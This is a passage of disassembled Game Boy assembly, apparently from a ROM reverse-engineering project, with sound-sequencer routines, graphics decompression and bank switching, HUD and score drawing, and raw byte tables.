$00, $C1, $4B, $CD, $85 db $28, $09, $F0, $81, $07, $30, $0A, $7D db $2F, $C6, $01, $6F, $7C, $2F, $CE, $00 db $67, $4D, $44, $E1, $F1, $C9, $C6, $40 db $E5, $E0, $80, $E6, $7F, $FE, $40, $38 db $03, $2F, $C6, $81, $21, $88, $29, $16 db $00, $5F, $19, $5E, $16, $00, $F0, $80 db $CB, $27, $30, $02, $16, $FF, $E1, $C9 toc_01_293E: push af clear [$FF87] push de push hl ld a, b cp c jr nc, .else_01_294A ld b, c ld c, a .else_01_294A: ld h, $D7 ld l, c ld d, [hl] inc h ld e, [hl] dec h ld l, b ld a, [hl] inc h ld l, [hl] ld h, a add hl, de push af ld d, $D8 ld a, b sub a, c ld e, a ld a, [de] ld c, a dec d ld a, [de] ld b, a ld a, l sub a, c ld l, a ld a, h sbc b ld h, a jr nc, .else_01_296E pop af ccf jr .toc_01_296F .else_01_296E: pop af .toc_01_296F: rr h rr l ld b, h ld c, l ld a, [$FF87] rlca jr nc, .else_01_2984 ld a, c cpl add a, $01 ld c, a ld a, b cpl adc $00 ld b, a .else_01_2984: pop hl pop de pop af ret db $00, $06, $0D, $13, $19, $1F, $26, $2C db $32, $38, $3E, $44, $4A, $50, $56, $5C db $62, $68, $6D, $73, $79, $7E, $84, $89 db $8E, $93, $98, $9D, $A2, $A7, $AC, $B1 db $B5, $B9, $BE, $C2, $C6, $CA, $CE, $D1 db $D5, $D8, $DC, $DF, $E2, $E5, $E7, $EA db $ED, $EF, $F1, $F3, $F5, $F7, $F8, $FA db $FB, $FC, $FD, $FE, $FF, $FF, $FF, $FF db $FF, $04, $0B, $1B, $34, $59, $1B, $00 db $40, $1B, $91, $41, $4D, $07, $0E, $1B db $50, $6B, $1B, $D1, $43, $1B, $04, $48 db $54, $1E, $11, $1B, $E3, $61, $1B, $3B db $42, $1B, $2E, $43, $4F, $20, $13, $1B db $67, $76, $1B, $D0, $48, $1B, $06, $4C db $5C, $00, $12, $1C, $00, $40, $1B, $A5 db $4C, $1B, $EA, $51, $65, $25, $14, $1C db $90, $4E, $1B, $95, $52, $1B, $CB, $53 db $6D, $0F, $15, $1C, $60, $5B, $1B, $78 db $54, $1B, $A0, $58, $73, $1D, $0A, $0E db $C3, $4C, $0E, $5A, $59, $0E, $4C, $5B db $77, $1E, $07 toc_01_2A2B: ld a, e ld [$DD2E], a add a, a add a, a ld b, a add a, a add a, b ld bc, $29C9 add a, c jr nc, .else_01_2A3B inc b .else_01_2A3B: ld c, a call toc_01_2AF8 ld a, [bc] inc bc ld e, a push bc cbcallNoInterrupts $1F, $4232 pop bc ld a, [bc] inc bc ld e, a push de ld a, [bc] inc bc push bc call cbcallWithoutInterrupts.loadBank pop bc ld a, [bc] ld l, a inc bc ld a, [bc] ld h, a inc bc ld de, $8000 push bc call decompressHAL pop bc ld a, [bc] inc bc push bc call cbcallWithoutInterrupts.loadBank pop bc ld a, [bc] ld l, a inc bc ld a, [bc] ld h, a inc bc ld de, $9000 push bc call decompressHAL pop bc ld a, [bc] inc bc push bc call cbcallWithoutInterrupts.loadBank pop bc ld a, [bc] ld l, a inc bc ld a, [bc] ld h, a inc bc ld de, $9800 push bc call decompressHAL assign [gbLCDC], LCDCF_BG_DISPLAY | LCDCF_OBJ_16_16 | LCDCF_OBJ_DISPLAY | LCDCF_TILEMAP_9C00 call toc_01_046D __changebank $08 call toc_08_4000 pop bc ld a, [bc] ld h, $A0 ld l, $B3 ld b, $00 ld c, b ld d, c ld e, d call toc_01_07C4 pop de cbcallNoInterrupts $1E, $6011 ld a, [$DD2E] add a, $03 ld d, a ld e, $04 cbcallNoInterrupts $1A, $4246 .loop_01_2AC4: call toc_01_0496 call toc_01_086B call toc_01_04AE call toc_01_0343 _ifZero [$DD2D], .else_01_2ADC _ifZero [$DA46], .loop_01_2AC4 .else_01_2ADC: ld a, [$DD2E] add a, $03 ld d, a ld e, $04 cbcallNoInterrupts $1A, $427B call toc_01_0437 cbcallNoInterrupts $07, $5ADA ret toc_01_2AF8: call toc_01_1584 ld hl, $DD2D ld [hl], a ld hl, $FFA5 ld [hl], a assign [$CD09], $E4 assign [$CD0A], $D0 assign [$CD0B], $E4 ret db $FA, $2F, $DD, $3C, $C8, $FA, $4D, $CD db $B7, $C8, $D5, $CD, $35, $24, $D1, $FA db $4D, $CD, $B7, $C0, $3D, $EA, $2F, $DD db $C9, $11, $00, $CF, $CD, $08, $07, $F3 db $7B, $D6, $00, $5F, $7A, $DE, $CF, $21 db $53, $CD, $32, $73, $3E, $01, $EA, $4D db $CD, $AF, $EA, $58, $DD, $3E, $FF, $E0 db $45, $EA, $29, $DA, $18, $32, $F5, $E5 db $C5, $D5, $F0, $A4, $EA, $34, $DD, $08 db $32, $DD, $21, $14, $DA, $3E, $77, $22 db $36, $2B, $3E, $80, $E0, $45, $FA, $37 db $DD, $CD, $F3, $05, $31, $35, $DD, $E1 db $F9, $C3, $9F, $02, $F5, $E5, $C5, $D5 db $F0, $A4, $EA, $37, $DD, $08, $35, $DD db $FA, $34, $DD, $CD, $F3, $05, $31, $32 db $DD, $E1, $F9, $C3, $9F, $02, $21, $2D db $DD, $36, $01, $C9 toc_01_2B97: ld hl, $CE8A add hl, bc ld [hl], $24 xor a ld hl, $CE92 add hl, bc ld [hl], a ld hl, $CE9A add hl, bc ld [hl], a ld hl, $CEA2 add hl, bc ld [hl], a ld hl, $CEAA add hl, bc ld [hl], a ld hl, $CEB2 add hl, bc ld [hl], a ld hl, $2BF5 add hl, bc ld a, [hl] ld hl, $CEBA add hl, bc ld [hl], a inc de ld a, [de] ld hl, $CE5A add hl, bc ld [hl], a inc de ld a, [de] ld hl, $CE62 add hl, bc ld [hl], a inc de ld a, [de] sra a sra a add a, $F0 ld l, a ld h, $2B jr nc, .else_01_2BDD inc h .else_01_2BDD: ld a, [hl] ld hl, $CE4A add hl, bc ld [hl], a ld hl, $CE52 add hl, bc ld [hl], $01 ld hl, $CE82 add hl, bc ld [hl], $01 ret db $00, $05, $FF, $0F, $0A, $10, $20, $30 db $40, $50, $60, $70, $80 toc_01_2BFD: _changebank $1F ld b, $07 .loop_01_2C04: ld h, $CE ld a, $52 add a, b ld l, a ifAddressAtHLNotZero .else_01_2C48 ld a, b cp $04 ld a, $1A jr c, .else_01_2C17 ld a, $2E .else_01_2C17: ld [$FF99], a ld h, $CE ld a, $5A add a, b ld l, a push hl ld e, [hl] add a, $08 ld l, a push hl ld d, [hl] push bc call toc_01_2C5A pop bc pop hl ld [hl], d pop hl ld [hl], e call doCE82PlusB ld h, $CE ld a, $72 add a, b ld l, a push hl ld e, [hl] add a, $08 ld l, a push hl ld d, [hl] push bc call toc_01_2F4B pop bc pop hl ld [hl], d pop hl ld [hl], e .else_01_2C48: ifBEq $04, .else_01_2C52 _changebank $1E .else_01_2C52: dec b bit 7, b jr z, .loop_01_2C04 jp toc_1E_4368 toc_01_2C5A: ld h, $CE ld a, $52 add a, b ld l, a dec [hl] jr z, .else_01_2C65 ret .toc_01_2C64: inc de .else_01_2C65: ld h, $CE ld a, [de] ld c, a and %11100000 cp $E0 jp z, toc_01_2D60 ld a, $4A add a, b ld l, a ld a, [hl] cp $0F jr nz, .else_01_2C97 bit 4, c jp nz, .else_01_2CCA ld a, c and %00001111 cp $0F jr z, .else_01_2CB3 add a, $D1 ld l, a ld h, $30 jr nc, .else_01_2C8D inc h .else_01_2C8D: ld c, [hl] ld a, $12 call toc_01_30B6.toc_01_30BF ld [hl], c jp .else_01_2CCA .else_01_2C97: ld a, c and %00011111 cp $10 jr z, .else_01_2CB3 bit 4, a jr z, .else_01_2CA4 or %11100000 .else_01_2CA4: ld c, a ld a, $8A add a, b ld l, a ld a, [hl] add a, c push de call toc_01_2EF5 pop de jp .else_01_2CCA .else_01_2CB3: call toc_01_2D34 ld c, a ld h, $CE ld a, $82 add a, b ld l, a ifAddressAtHLNotZero .else_01_2CC3 ld [hl], $01 .else_01_2CC3: ld a, c and a jp z, .toc_01_2C64 inc de ret .else_01_2CCA: call toc_01_2D34 ld c, a ld h, $CE ld a, $82 add a, b ld l, a ld [hl], $FF add a, $10 ld l, a ifAddressAtHLNotZero .else_01_2CEF push bc push de ld e, a ld h, $CE ld a, $82 add a, b ld l, a push hl ld b, e call toc_01_293E pop hl ld [hl], b pop de pop bc .else_01_2CEF: push bc call toc_01_2CF7 pop bc jp .else_01_2CC3 toc_01_2CF7: ld h, $CE ld a, $A2 add a, b ld l, a ld a, [hl] bit 7, a jr nz, .return_01_2D33 .toc_01_2D02: add a, a add a, a .toc_01_2D04: push de add a, $00 ld e, a ld d, $40 jr nc, .else_01_2D0D inc d .else_01_2D0D: ld h, $CE ld a, $72 add a, b ld l, a ld a, [de] ld [hl], a ld a, $7A add a, b ld l, a inc de ld a, [de] ld [hl], a ld h, $30 ld a, $C7 add a, b ld l, a jr nc, .else_01_2D25 inc h .else_01_2D25: ld c, [hl] ld h, $CE ld a, $C2 add a, b ld l, a ld [hl], c add a, $A8 ld l, a ld [hl], $01 pop de .return_01_2D33: ret toc_01_2D34: ld a, [de] and %11100000 cp $C0 jr nz, .else_01_2D3F inc de ld a, [de] jr .toc_01_2D56 .else_01_2D3F: ld h, $CE ld a, $AA add a, b ld l, a ld a, [de] and %11100000 swap a srl a add a, [hl] add a, $15 ld l, a ld a, $00 adc $DE ld h, a ld a, [hl] .toc_01_2D56: ld c, a ld h, $CE ld a, $52 add a, b ld l, a ld a, c ld [hl], a ret toc_01_2D60: ld a, c cp $F0 jr nz, .else_01_2D7D inc de ld h, $CE ld a, $9A add a, b ld l, a ld a, [de] .toc_01_2D6D: swap a and %11110000 ld c, a ld a, [hl] and %00001111 or c ld [hl], a call toc_01_3037.toc_01_3043 jp toc_01_2C5A.toc_01_2C64 .else_01_2D7D: cp $F1 jr nz, .else_01_2DA1 inc de ld a, [de] ld c, a ld h, $CE ld a, $9A add a, b ld l, a ld a, [hl] swap a and %00001111 add a, c bit 7, c jr nz, .else_01_2D9C cp $10 jr c, .else_01_2D9F ld a, $0F jr .else_01_2D9F .else_01_2D9C: jr c, .else_01_2D9F xor a .else_01_2D9F: jr .toc_01_2D6D .else_01_2DA1: cp $F2 jr nz, .else_01_2DB6 inc de ld a, [de] add a, a ld c, a add a, a add a, c ld hl, $CEAA .toc_01_2DAE: ld c, a ld a, l add a, b ld l, a ld [hl], c jp toc_01_2C5A.toc_01_2C64 .else_01_2DB6: cp $F3 jr nz, .else_01_2DCB inc de ld h, $CE ld a, $52 add a, b ld l, a ld a, [de] ld [hl], a ld a, $82 add a, b ld l, a ld [hl], $FF inc de ret .else_01_2DCB: cp $F4 jr nz, .else_01_2DD7 inc de ld a, [de] ld hl, $CE92 jp .toc_01_2DAE .else_01_2DD7: cp $F5 jr nz, .else_01_2DE3 inc de ld a, [de] ld hl, $CE8A jp .toc_01_2DAE .else_01_2DE3: cp $F6 jr nz, .else_01_2DF8 inc de ld h, $CE ld a, $A2 add a, b ld l, a ld a, [de] ld [hl], a bit 7, a call nz, toc_01_2CF7.toc_01_2D02 jp toc_01_2C5A.toc_01_2C64 .else_01_2DF8: cp $F7 jr nz, .else_01_2E04 inc de ld a, [de] ld hl, $CEB2 jp .toc_01_2DAE .else_01_2E04: cp $E2 jr nz, .else_01_2E1A inc de ld a, [de] ld c, a inc de ld a, [de] push de ld d, a ld e, c call toc_01_2EF5.toc_01_2F11 call toc_01_2CF7 pop de jp toc_01_2C5A.toc_01_2C64 .else_01_2E1A: cp $E3 jr nz, .else_01_2E31 inc de ld a, [de] push de cpl inc a ld e, a ld d, $00 rla jr nc, .else_01_2E2A dec d .else_01_2E2A: call toc_01_30AA pop de jp toc_01_2C5A.toc_01_2C64 .else_01_2E31: cp $FE jr nz, .else_01_2E6B inc de ld a, [de] ld c, a push de ld h, $CE ld a, $4A add a, b ld l, a ld e, [hl] srl e srl e ld d, $00 ld hl, $CE42 add hl, de ld a, c rra jr nc, .else_01_2E50 set 4, d .else_01_2E50: rra jr nc, .else_01_2E54 inc d .else_01_2E54: inc e dec e jr z, .else_01_2E5D .loop_01_2E58: rlc d dec e jr nz, .loop_01_2E58 .else_01_2E5D: ld a, b cp $04 jr c, .else_01_2E66 inc l inc l inc l inc l .else_01_2E66: ld [hl], d pop de jp toc_01_2C5A.toc_01_2C64 .else_01_2E6B: cp $E1 jr nz, .else_01_2E77 inc de ld a, [de] ld [$CE00], a jp toc_01_2C5A.toc_01_2C64 .else_01_2E77: cp $FF jr nz, .else_01_2E8B ld h, $CE ld a, $52 add a, b ld l, a ld [hl], $00 add a, $18 ld l, a xor a ld [hl], a jp toc_01_3037 .else_01_2E8B: ld hl, $CEBA call toc_01_2E94 jp toc_01_2C5A.else_01_2C65 toc_01_2E94: ld a, l add a, b ld l, a push hl ld a, $64 add a, [hl] ld l, a ld a, $DD adc $00 ld h, a call toc_01_2EAA ld a, l sub a, $64 pop hl ld [hl], a ret toc_01_2EAA: ld a, [de] cp $F8 jr nz, .else_01_2EB7 inc de ld a, [de] ld c, a inc de ld a, [de] ld d, a ld e, c ret .else_01_2EB7: cp $FA jr nz, .else_01_2ECA inc de inc de inc de dec hl ld [hl], d dec hl ld [hl], e dec de ld a, [de] ld c, a dec de ld a, [de] ld e, a ld d, c ret .else_01_2ECA: cp $FB jr nz, .else_01_2ED3 ld e, [hl] inc hl ld d, [hl] inc hl ret .else_01_2ED3: cp $FC jr nz, .else_01_2EE2 inc de ld a, [de] ld c, a inc de dec hl ld [hl], d dec hl ld [hl], e dec hl ld [hl], c ret .else_01_2EE2: cp $FD jr nz, .return_01_2EF4 dec [hl] jr z, .else_01_2EF0 inc hl ld e, [hl] inc hl ld d, [hl] dec hl dec hl ret .else_01_2EF0: inc hl inc hl inc hl inc de .return_01_2EF4: ret toc_01_2EF5: ld e, a ld a, $B2 add a, b ld l, a ld a, [hl] add a, a add a, $CF ld l, a ld a, $00 adc $30 ld h, a ldi a, [hl] rlc e add a, e ld e, a ld a, [hl] adc $00 ld h, a ld l, e ldi a, [hl] ld d, a ld e, [hl] .toc_01_2F11: ld h, $CE ld a, $4A add a, b ld l, a ld a, [hl] cp $0A jr z, .else_01_2F23 ld a, $03 call toc_01_30B6.toc_01_30BE jr .toc_01_2F2D .else_01_2F23: ld a, $00 call toc_01_30B6.toc_01_30BE ld [hl], $80 inc l inc l inc l .toc_01_2F2D: ld a, e ldi [hl], a ld [hl], d ret doCE82PlusB: ld h, $CE ld a, $82 add a, b ld l, a ld a, [hl] and a ret z cp $FF ret z dec [hl] ret nz ld a, $A2 add a, b ld l, a ld a, [hl] add a, a add a, a add a, $02 jp toc_01_2CF7.toc_01_2D04 toc_01_2F4B: ld h, $CE ld a, $6A add a, b ld l, a dec [hl] jr z, .else_01_2F56 ret .loop_01_2F55: inc de .else_01_2F56: ld h, $CE ld a, [de] ld c, a and %11100000 jr nz, .else_01_2F69 ld a, c and %00011111 ld c, a ld a, $6A add a, b ld l, a ld [hl], c inc de ret .else_01_2F69: cp $20 jr nz, .else_01_2F86 push bc push de call toc_01_309C call toc_01_30AA pop de pop bc .toc_01_2F77: ld a, [de] and %00010000 jr z, .loop_01_2F55 ld h, $CE ld a, $6A add a, b ld l, a ld [hl], $01 inc de ret .else_01_2F86: cp $40 jr nz, .else_01_2F90 ld a, c and %00001111 jp .toc_01_2FAE .else_01_2F90: cp $60 jr nz, .else_01_2FB6 push de call toc_01_309C ld h, $CE ld a, $9A add a, b ld l, a ld a, [hl] and %00001111 add a, e bit 7, a jr z, .else_01_2FA7 xor a .else_01_2FA7: cp $10 jr c, .else_01_2FAD ld a, $0F .else_01_2FAD: pop de .toc_01_2FAE: push de call toc_01_3037 pop de jp .toc_01_2F77 .else_01_2FB6: cp $80 jr nz, toc_01_300D ld h, $CE ld a, $4A add a, b ld l, a ld a, [hl] cp $0A jr z, .else_01_2FD8 ld a, $01 call toc_01_30B6.toc_01_30BE ld a, c rrca rrca and %11000000 ld c, a ld a, [hl] and %00111111 or c ld [hl], a jp .toc_01_2F77 .else_01_2FD8: ld a, c and %00001111 ld hl, $CED2 cp [hl] jr z, .else_01_2FFE push de ld [hl], a swap a ld e, a ld d, $00 ld hl, $DDE5 add hl, de clear [gbAUD3ENA] call copyHLToFF30 assign [gbAUD3ENA], $80 ld a, [$CE14] set 7, a ld [gbAUD3HIGH], a pop de .else_01_2FFE: jp .toc_01_2F77 copyHLToFF30: ld de, $FF30 ld c, $10 .loop: ldi a, [hl] ld [de], a inc de dec c jr nz, .loop ret toc_01_300D: cp $E0 jr nz, .return_01_3036 ld a, c cp $F0 jr nz, .else_01_3022 inc de ld a, [de] ld c, a ld a, $00 call toc_01_30B6 ld [hl], c jp toc_01_2F4B.loop_01_2F55 .else_01_3022: cp $FF jr nz, .else_01_302D ld a, $6A add a, b ld l, a ld [hl], $00 ret .else_01_302D: ld hl, $CEC2 call toc_01_2E94 jp toc_01_2F4B.else_01_2F56 .return_01_3036: ret toc_01_3037: ld c, a ld h, $CE ld a, $9A add a, b ld l, a ld a, [hl] and %11110000 or c ld [hl], a .toc_01_3043: push de ld a, $FF sub a, [hl] swap a and %00001111 ld e, a ld a, [hl] and %00001111 sub a, e ld e, a jr nc, .else_01_3055 ld e, $00 .else_01_3055: push hl ld hl, $CE01 ld a, b cp $04 jr c, .else_01_305F inc l .else_01_305F: ld a, $FF sub a, [hl] swap a and %00001111 ld d, a pop hl ld a, e sub a, d jr nc, .else_01_306D xor a .else_01_306D: ld e, a ld a, $4A add a, b ld l, a ld a, [hl] cp $0A jr z, .else_01_3085 ld a, $02 call toc_01_30B6.toc_01_30BE swap e ld a, [hl] and %00001111 or e ld [hl], a pop de ret .else_01_3085: srl e srl e ld d, $00 ld hl, $3098 add hl, de ld e, [hl] ld a, $02 call toc_01_30B6 ld [hl], e pop de ret db $00, $60, $40, $20 toc_01_309C: ld a, c and %00001111 ld d, $00 bit 3, a jr z, .else_01_30A8 or %11110000 dec d .else_01_30A8: ld e, a ret toc_01_30AA: ld a, $03 call toc_01_30B6 ld a, e add a, [hl] ldi [hl], a ld a, d adc [hl] ld [hl], a ret toc_01_30B6: push af ld h, $CE ld a, $4A add a, b ld l, a pop af .toc_01_30BE: add a, [hl] .toc_01_30BF: ld hl, $FF99 add a, [hl] ld l, a ld h, $CE ret db $06, $16, $26, $36, $46, $56, $66, $76 db $50, $3F, $00, $10, $20, $30, $07, $23 db $50, $33, $60, $43, $70, $45, $47, $55 db $65, $D5, $69, $50, $1E, $00, $18, $0D db $79, $85, $27, $4F, $78, $8A, $27, $47 db $7B, $CE, $00, $27, $5F, $25, $20, $F0 db $21, $DD, $DE, $7E, $81, $27, $32, $7E db $88, $27, $32, $7E, $8B, $27, $77, $38 db $07, $21, $DE, $DE, $CB, $C6, $D1, $C9 db $3E, $99, $22, $22, $77, $1E, $21, $21 db $99, $42, $3E, $1E, $CD, $CF, $05, $21 db $84, $A0, $7E, $FE, $99, $30, $03, $A7 db $3C, $27, $77, $21, $DE, $DE, $CB, $D6 db $18, $DA toc_01_3131: clear [$DEDE] ld hl, $9C21 ld c, $70 ld de, $DEDB ld a, [de] ld b, a inc de ld b, a swap a and %00001111 add a, c ldi [hl], a ld a, b and %00001111 add a, c ldi [hl], a ld a, [de] inc de ld b, a swap a and %00001111 add a, c ldi [hl], a ld a, b and %00001111 add a, c ldi [hl], a ld a, [de] ld b, a swap a and %00001111 add a, c ldi [hl], a ld a, b and %00001111 add a, c ldi [hl], a ld a, c ld [hl], a ld hl, $9C02 _ifZero [$A071], .else_01_3178 ld a, [$DEE3] rra jr .toc_01_317B .else_01_3178: ld a, [$DEE5] .toc_01_317B: ld d, $06 and a jr z, .else_01_3187 .loop_01_3180: ld [hl], $64 inc hl dec d dec a jr nz, .loop_01_3180 .else_01_3187: ld a, d and a jr z, .else_01_3191 .loop_01_318B: ld [hl], $63 inc hl dec d jr nz, .loop_01_318B .else_01_3191: ld hl, $9C09 ld de, $DEE1 ld a, [de] and a ld b, a ld c, $07 ld a, $68 .loop_01_319E: jr z, .else_01_31A7 ldi [hl], a dec c dec b jr nz, .loop_01_319E jr .toc_01_31AD .else_01_31A7: ld a, $67 .loop_01_31A9: ldi [hl], a dec c jr nz, .loop_01_31A9 .toc_01_31AD: ld hl, $9C2A ld de, $A084 ld a, [de] ld d, $70 ld e, a swap a and %00001111 add a, d ldi [hl], a ld a, e and %00001111 add a, d ld [hl], a ld hl, $9C2F ld a, [$DB60] inc a ld e, $70 add a, e ld [hl], a ld bc, $9690 ld de, $DEE0 ld a, [de] swap a ld l, a and %00001111 ld h, a ld a, l and %11110000 ld l, a sla l rl h sla l rl h ld a, [hLastBank] push af __changebank $07 ld de, $57DC add hl, de ld d, $40 .loop_01_31F4: ldi a, [hl] ld [bc], a inc c dec d jr nz, .loop_01_31F4 pop af jp cbcallWithoutInterrupts.loadBank db $0F, $64, $4A, $FF, $00, $0F, $A9, $4C db $E9, $4E, $0F, $B5, $50, $1C, $53, $0F db $A7, $55, $B1, $58, $3E, $01, $EA, $03 db $DF, $3E, $E4, $EA, $09, $CD, $3E, $D0 db $EA, $0A, $CD, $3E, $90, $EA, $0B, $CD db $CD, $CB, $33, $1E, $15, $21, $32, $42 db $3E, $1F, $CD, $CF, $05, $3E, $0F, $CD db $DD, $05, $21, $83, $49, $11, $00, $80 db $CD, $08, $07, $01, $FE, $31, $FA, $71 db $A0, $57, $87, $87, $82, $81, $4F, $30 db $01, $04, $0A, $03, $C5, $CD, $DD, $05 db $C1, $0A, $6F, $03, $0A, $67, $03, $C5 db $11, $00, $82, $CD, $08, $07, $FA, $71 db $A0, $A7, $C1, $28, $0B, $0A, $6F, $03 db $0A, $67, $11, $00, $8E, $CD, $08, $07 db $3E, $08, $CD, $DD, $05, $CD, $00, $40 db $3E, $92, $EA, $5E, $DB, $01, $60, $00 db $11, $40, $02, $3E, $CE, $21, $A1, $A0 db $CD, $C4, $07, $3E, $0A, $EA, $58, $DB db $CD, $DD, $05, $21, $1C, $78, $CD, $89 db $12, $3E, $07, $CD, $DD, $05, $CD, $DC db $41, $3E, $67, $E0, $40, $CD, $6D, $04 db $1E, $04, $21, $4E, $42, $3E, $1A, $CD db $CF, $05, $CD, $96, $04, $CD, $6B, $08 db $3E, $07, $CD, $DD, $05, $CD, $59, $42 db $3E, $07, $CD, $DD, $05, $CD, $CB, $43 db $CD, $AE, $04, $21, $85, $5B, $3E, $07 db $CD, $CF, $05, $21, $D2, $5B, $3E, $07 db $CD, $CF, $05, $CD, $43, $03, $21, $2D db $DD, $7E, $A7, $20, $06, $FA, $46, $DA db $A7, $20, $C7, $1E, $04, $21, $80, $42 db $3E, $1A, $CD, $CF, $05, $CD, $37, $04 db $C9 toc_01_32FF: assign [gbLYC], 255 ld [wDesiredLYC], a assign [$DF03], $00 assign [$CD09], $E4 assign [$CD0A], $E0 assign [$CD0B], $E4 call toc_01_33CB ld e, $1C cbcallNoInterrupts $1F, $4232 assign [gbLCDC], LCDCF_BG_DISPLAY | LCDCF_OBJ_16_16 | LCDCF_OBJ_DISPLAY | LCDCF_TILEMAP_9C00 __changebank $0F plotFromTo $4000, $8000 __changebank $08 call toc_08_4000 __changebank $0F ld hl, $6111 ld a, [$DB60] add a, a add a, a add a, l ld l, a jr nc, .else_01_3353 inc h .else_01_3353: ldi a, [hl] ld c, a ldi a, [hl] ld b, a ldi a, [hl] ld e, a ld a, [hl] ld d, a ld a, $9A ld hl, $A0A1 call toc_01_07C4 call toc_01_34CC call toc_01_33D5 call toc_01_3467 call toc_01_3492 __changebank $07 call toc_07_41DC call toc_01_046D ld a, [$DB60] ld e, a cbcallNoInterrupts $1E, $6011 ld a, [$DB60] add a, $1B ld d, a ld e, $04 cbcallNoInterrupts $1A, $4246 .loop_01_3396: call toc_01_0496 call toc_01_086B __changebank $07 call toc_07_4259 call toc_01_04AE call toc_01_0343 ld hl, $DD2D ld a, [hl] and a jr nz, .else_01_33B7 _ifZero [$DA46], .loop_01_3396 .else_01_33B7: ld a, [$DB60] add a, $1B ld d, a ld e, $04 cbcallNoInterrupts $1A, $427B call toc_01_0437 ret toc_01_33CB: ld hl, $DD2D xor a ld [hl], a ld hl, $FFA5 ld [hl], a ret toc_01_33D5: call toc_01_34A3 ldi a, [hl] ld [$DB3D], a ld c, a ldi a, [hl] ld [$DB3E], a push hl ld b, a ld hl, $CD2D ld a, $B3 jr .toc_01_33EB .loop_01_33EA: add a, c .toc_01_33EB: ldi [hl], a dec b jr nz, .loop_01_33EA pop hl ld c, $04 ld de, $DB45 .loop_01_33F5: ldi a, [hl] swap a ld b, a and %11110000 ld [de], a inc de ld a, b and %00001111 ld [de], a inc de dec c jr nz, .loop_01_33F5 push hl ld bc, $000A add hl, bc ld de, $B300 call decompressHAL pop hl inc hl inc hl ldd a, [hl] ld b, a ldd a, [hl] ld l, [hl] ld h, a ld a, b call cbcallWithoutInterrupts.loadBank ld bc, $0003 add hl, bc push hl ldi a, [hl] ld [$DB5C], a ld de, $CF00 call decompressHAL ld c, $05 ld hl, $CF00 ld de, $C500 .loop_01_3433: ld a, [$DB5C] ld b, a .loop_01_3437: ldi a, [hl] ld [de], a inc e dec b jr nz, .loop_01_3437 ld e, $00 inc d dec c jr nz, .loop_01_3433 pop hl dec hl ldd a, [hl] ld b, a ldd a, [hl] ld l, [hl] ld h, a ld a, b call cbcallWithoutInterrupts.loadBank inc hl clear [$DB59] _ifZero [$DF03], .else_01_3460 ld de, $8800 call decompressHAL ret .else_01_3460: ld de, $9000 call decompressHAL ret toc_01_3467: ld de, $A004 ld hl, $DB51 ld a, [de] inc e sub a, $50 ldi [hl], a ld a, [de] inc e sbc $00 ldi [hl], a xor a ldi [hl], a ld [hl], a jp toc_01_1513 db $21, $51, $DB, $AF, $22, $22, $11, $07 db $A0, $1A, $1C, $D6, $40, $22, $1A, $DE db $00, $77, $C3, $13, $15 toc_01_3492: ld hl, $DB51 ldi a, [hl] and %11110000 ld [$DB55], a inc hl ld a, [hl] and %11110000 ld [$DB56], a ret toc_01_34A3: __changebank $0F ld a, [$DB6A] and %01111111 ld b, $00 .toc_01_34AF: srl a jr nc, .else_01_34B6 inc b jr .toc_01_34AF .else_01_34B6: ld a, b add a, a add a, b ld hl, $612D add a, l ld l, a jr nc, .else_01_34C1 inc h .else_01_34C1: ldi a, [hl] ld c, a ldi a, [hl] ld b, a ld a, [hl] ld h, b ld l, c call cbcallWithoutInterrupts.loadBank ret toc_01_34CC: ld a, [$DD63] ld b, a ld a, $00 .toc_01_34D2: ld hl, $6111 rr b call c, toc_01_34E0 inc a cp $07 ret z jr .toc_01_34D2 toc_01_34E0: push bc push af add a, a add a, a add a, l ld l, a jr nc, .else_01_34E9 inc h .else_01_34E9: ldi a, [hl] ld c, a ldi a, [hl] ld b, a ldi a, [hl] ld e, a ld a, [hl] ld d, a ld a, $9D ld h, $A8 ld l, $B2 call toc_01_07C4 pop af pop bc ret db $F0, $A4, $F5, $FA, $69, $A0, $CD, $DD db $05, $62, $2E, $6A, $2A, $B6, $F0, $92 db $4F, $FA, $1C, $DA, $20, $09, $B9, $20 db $4D, $2E, $64, $36, $00, $18, $47, $91 db $3D, $FE, $04, $38, $41, $D6, $03, $5F db $3A, $B7, $20, $05, $7E, $BB, $30, $01 db $5F, $7E, $93, $22, $7E, $DE, $00, $77 db $06, $C4, $2E, $65, $2A, $02, $0C, $2A db $02, $0C, $7B, $02, $E0, $84, $0C, $2A db $66, $6F, $2A, $02, $0C, $1D, $20, $FA db $79, $E0, $92, $1E, $65, $F0, $84, $4F db $1A, $81, $12, $1C, $1A, $CE, $00, $12 db $1C, $7D, $12, $1C, $7C, $12, $F1, $CD db $DD, $05, $C9, $0A, $EA, $11, $DF, $03 db $21, $8B, $74, $3E, $07, $CD, $CF, $05 db $C9, $21, $52, $74, $3E, $07, $CD, $CF db $05, $C9, $21, $6C, $74, $3E, $07, $CD db $CF, $05, $C9, $FA, $71, $A0, $B7, $20 db $06, $21, $4C, $A0, $36, $0C, $C9, $21 db $72, $A0, $36, $06, $C9, $21, $B4, $FF db $F0, $A6, $B6, $77, $C9, $AF, $E0, $B4 db $C9, $FA, $60, $DB, $D6, $02, $1E, $27 db $12, $C9, $1E, $07, $1A, $C6, $01, $12 db $1C, $1A, $CE, $00, $12, $C9, $1E, $87 db $CD, $E2, $35, $FA, $71, $A0, $C5, $21 db $DC, $35, $85, $6F, $30, $01, $24, $7E db $4F, $17, $9F, $47, $62, $2E, $8B, $7E db $81, $22, $7E, $88, $77, $C1, $C9, $00 db $FC, $FE, $FA, $1E, $03, $AF, $12, $1C db $21, $51, $DB, $0A, $86, $12, $23, $1C db $03, $0A, $8E, $12, $23, $1C, $AF, $12 db $1C, $03, $0A, $86, $12, $23, $1C, $03 db $0A, $8E, $12, $03, $C9, $F0, $A5, $E6 db $30, $28, $0B, $CB, $67, $3E, $40, $20 db $02, $3E, $C0, $1E, $45, $12, $C9, $1E db $7D, $1A, $1F, $C9, $FA, $36, $DA, $B7 db $20, $08, $F0, $A5, $E6, $40, $28, $02 db $37, $C9, $A7, $C9, $F0, $A5, $E6, $80 db $28, $17, $FA, $71, $A0, $21, $48, $36 db $87, $85, $6F, $30, $01, $24, $2A, $66 db $6F, $CD, $20, $06, $CD, $3A, $75, $30 db $02, $A7, $C9, $37, $C9, $26, $79, $3C db $79, $52, $79, $F0, $B4, $E6, $02, $28 db $0E, $21, $00, $A5, $7E, $FE, $FF, $28 db $0B, $24, $7C, $FE, $A8, $20, $F5, $CD db $A2, $35, $A7, $C9, $37, $C9, $F0, $B4 db $E6, $02, $28, $15, $FA, $5B, $A0, $FE db $03, $28, $15, $21, $00, $A5, $7E, $FE db $FF, $28, $0B, $24, $7C, $FE, 